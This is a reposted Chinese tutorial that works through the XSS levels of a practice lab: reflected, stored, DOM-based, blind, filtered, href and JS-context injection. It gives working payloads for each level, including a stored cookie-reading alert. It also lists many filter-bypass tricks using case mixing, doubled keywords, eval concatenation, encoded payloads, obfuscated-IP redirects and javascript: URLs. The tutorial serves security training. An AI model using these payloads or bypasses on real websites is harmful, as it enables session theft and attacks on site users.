当前位置:   article > 正文

xss(跨站脚本)_xss脚本

xss脚本

XSS(跨站脚本)概述

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
    1.反射性XSS;
    2.存储型XSS;
    3.DOM型XSS;

xss触发方式
(1)在标签外:

<script>alert(1)</script> 

(2)在标签内:

  1. 使用事件型:(先用引号闭合,看看是否有过滤如果有使用大小写试验)
  2. 112' οnclick='alert(1)
  3. <a>标签内不能使用<script>标签,使用<img>标签
  4. 2123"><img src='1223' οnclick=alert(1)><"

标签内资源类型是url使用伪协议javascript:alert(1)  

反射型xss(get)

1、  受害者访问攻击者构造的页面

2、  将攻击者构造的payload发送到后端,然后由后端再返回给前端

输入个<script>alert(1)</script>试试。

发现输入框有长度限制。

此时有一条阳关道,有一根独木桥。

阳关道

阳关道是直接在地址栏插payload:

<script>alert(1)</script>

 独木桥

独木桥是请出开发者工具,修改html代码中的输入框长度限制,然后在输入框中输入payload并提交。之所以叫独木桥就是因为每输入一个payload之前都要改一次输入框长度限制。。。

首先在输入框 鼠标右键--检查  弹出开发者工具

改大上图中的maxlength,比如改成100:

反射型xss(post)

1、  受害者访问攻击者构造的页面

2、  将攻击者构造的payload发送到后端,然后由后端再返回给前端

登录admin账号之后,和上一关差不多。。而且这关的输入框还没有长度限制

<script>alert(1)</script>

存储型xss

将攻击者构造的恶意代码,存储到数据库中,并且在网站页面上自动执行代码。

它是一个留言板,来玩玩

输入payload:<script>alert("交出你的cookie");alert(document.cookie)</script>

提交之后首先弹出下图,对应payload中的  alert("交出你的cookie")

点 确定 之后又弹出下图,对应payload中的  alert(document.cookie)

点 确定 之后就变成下图这样了,虽然留言内容显示不出来,但是对比一开始进来的时候可以看到多了个“删除”,说明确实多了一条留言

右键--查看网页源代码  的话,可以看到payload在html代码中是原封不动的。。

DOM型xss

需要用户点击

数据不到后端,直接由前端js进行处理

一个输入框,先输入个<script>alert(1)</script>试试。

没有弹框,回显了一个链接名曰“what do you see?

鼠标右键--查看网页源代码,Ctrl+F弹出搜索框,输入what do you see看看

找到了一段js代码,寻找DOM XSS的本质是做js语言阅读理解题。。

假装看不到注释的提示(/▽\)这段js代码的意思是会把用户提交的内容输出到<a>标签中,这样的话,就需要闭合标签和引号
 

123456' onclick='alert(1)

  1. <a>标签内不能使用<script>标签,使用<img>标签
  2. '><img src=1 οnerrοr='alert(`xss`)

 

DOM型xss-x

在输入框中输了个“吃瓜”,提交之后发现吃瓜群众跑到url里面去了(这就是和上一关的不同),然后多出来个链接“有些费尽心机想要忘记的事情,后来真的就忘掉了

既然还是DOM型,就 鼠标右键 -- 查看网页源代码

假装看不到提示(还有注意下图这个alert(xss)是注释掉的。。我还研究了半天这句放在这儿干嘛 ╯︿╰)

这题跟第4题没啥差别,就是比第4题更容易利用而已

注意下图中高亮的那行,本关输入payload之后需要点击链接“有些费尽心机想要忘记的事情,后来真的就忘掉了”才能触发domxss()函数,从而触发XSS

输入第4关的payload:'><img src=1 onerror=alert("xss");>

题外话:

由于本关payload在url中,因此比上一关好利用很多

xss之盲打

<script>alert(1)</script>

                                  

提交之后发现输入的东西完全不显示在页面上,去哪儿了呢?

查看网页源代码之后,发现本关的输入是以POST方法提交的,但是form标签里没有action属性,也不知道表单数据被提交到哪里去了呀。。。

点一下提示,原来要登录后台才能迎接攻击啊 

 

 

 xss之过滤

随便输入一些内容,提交之后发现页面有回显输入的内容,url中也有输入的内容,离开本页面再回来,页面就没有这个内容了,说明是反射型GET型XSS

可以把这些一个个输入提交试试,也可以一起提交,然后就发现了好玩的情况,如果单独输入"<>'on/`()则什么都没有被过滤,如果输入了"<>'on/`() script img href src,则<>'on/`() script被删掉了,这说明什么问题?这说明过滤语句超可能是<.*script

       

那就不要用<script>标签了,用<img>标签试试,输入payload:<img src=1 onerror=alert("xss");>

当然还有别的绕过方法:

大小写绕过<sCript>alert(1)</scRipt>
  1. 过滤空格
  2. /代替空格
  3. <img/src="x"/onerror=alert("xss");>
  4. 过滤关键字
  5. 大小写绕过
  6. <ImG sRc=x onerRor=alert("xss");>
  7. 双写关键字
  8. 有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
  9. <imimgg srsrcc=x onerror=alert("xss");>
  10. 字符拼接
  11. 利用eval
  12. <img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
  13. 利用top
  14. <script>top["al"+"ert"](`xss`);</script>
  15. 其它字符混淆
  16. 有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了
  17. 下面举几个简单的例子
  18. 可利用注释、标签的优先级等
  19. 1.<<script>alert("xss");//<</script>
  20. 2.<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
  21. 3.<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>
  22. 编码绕过
  23. Unicode编码绕过
  24. <img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
  25. <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
  26. url编码绕过
  27. <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
  28. <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
  29. Ascii码绕过
  30. <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
  31. hex绕过
  32. <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
  33. 八进制
  34. <img src=x onerror=alert('\170\163\163')>
  35. base64绕过
  36. <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
  37. <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
  38. 过滤双引号,单引号
  39. 1.如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号
  40. <img src="x" onerror=alert(`xss`);>
  41. 2.使用编码绕过,具体看上面列举的例子,不多赘述了
  42. 过滤括号
  43. 当括号被过滤的时候可以使用throw来绕过
  44. <svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
  45. 过滤url地址
  46. 使用url编码
  47. <img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
  48. 使用IP
  49. 1.十进制IP
  50. <img src="x" onerror=document.location=`http://2130706433/`>
  51. 2.八进制IP
  52. <img src="x" onerror=document.location=`http://0177.0.0.01/`>
  53. 3.hex
  54. <img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
  55. 4.html标签中用//可以代替http://
  56. <img src="x" onerror=document.location=`//www.baidu.com`>

xss之htmlspecialchars 

  1. htmlspecialchars转义特殊字符
  2. &:转换为&
  3. ":转换为"
  4. ':转换为成为 '
  5. <:转换为<
  6. >:转换为>
javascript伪协议

伪协议说明:

javascript:这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。

①将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。

这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开。这样的URL如下所示:

javascript:var now = new Date(); "<h1>The time is:</h1>" + now;
  1. javascript伪协议可以在HTML链接中触发代码的执行
  2. <a>标签
  3. <a href="javascript:alert(`xss`);">xss</a>
  4. <iframe>标签
  5. <iframe src=javascript:alert('xss');></iframe>
  6. <img>标签
  7. <img src=javascript:alert('xss')>//IE7以下
  8. <form>标签
  9. <form action="Javascript:alert(1)"><input type=submit>
使用伪协议javascript:alert(1) 

 

xss之href输出 

根据提示输入网站url

  1. <a> 标签的 href 属性用于指定超链接目标的 URL。
  2. href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段。如果用户选择了 <a> 标签中的内容,那么浏览器会尝试检索并显示 href 属性指定的 URL 所表示的文档,或者执行 JavaScript 表达式、方法和函数的列表。

所以 可以利用JavaScript协议。输入payload:javascript:alert(1)

xss之js输出 

还是输入<script>alert(1)</script>试试,果不其然没有弹框

鼠标右键--查看网页源代码,刚刚输入的东西跑到<script>标签内了,并且没有被编码

这就很easy了,只要无中生有出一个js语句就好了,怎么生呢首先要用';闭合掉当前的语句,然后插入新语句,然后再用//注释掉老语句遗留下来的';

输入payload:';alert(1);//

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/在线问答5/article/detail/921609
推荐阅读
相关标签
  

闽ICP备14008679号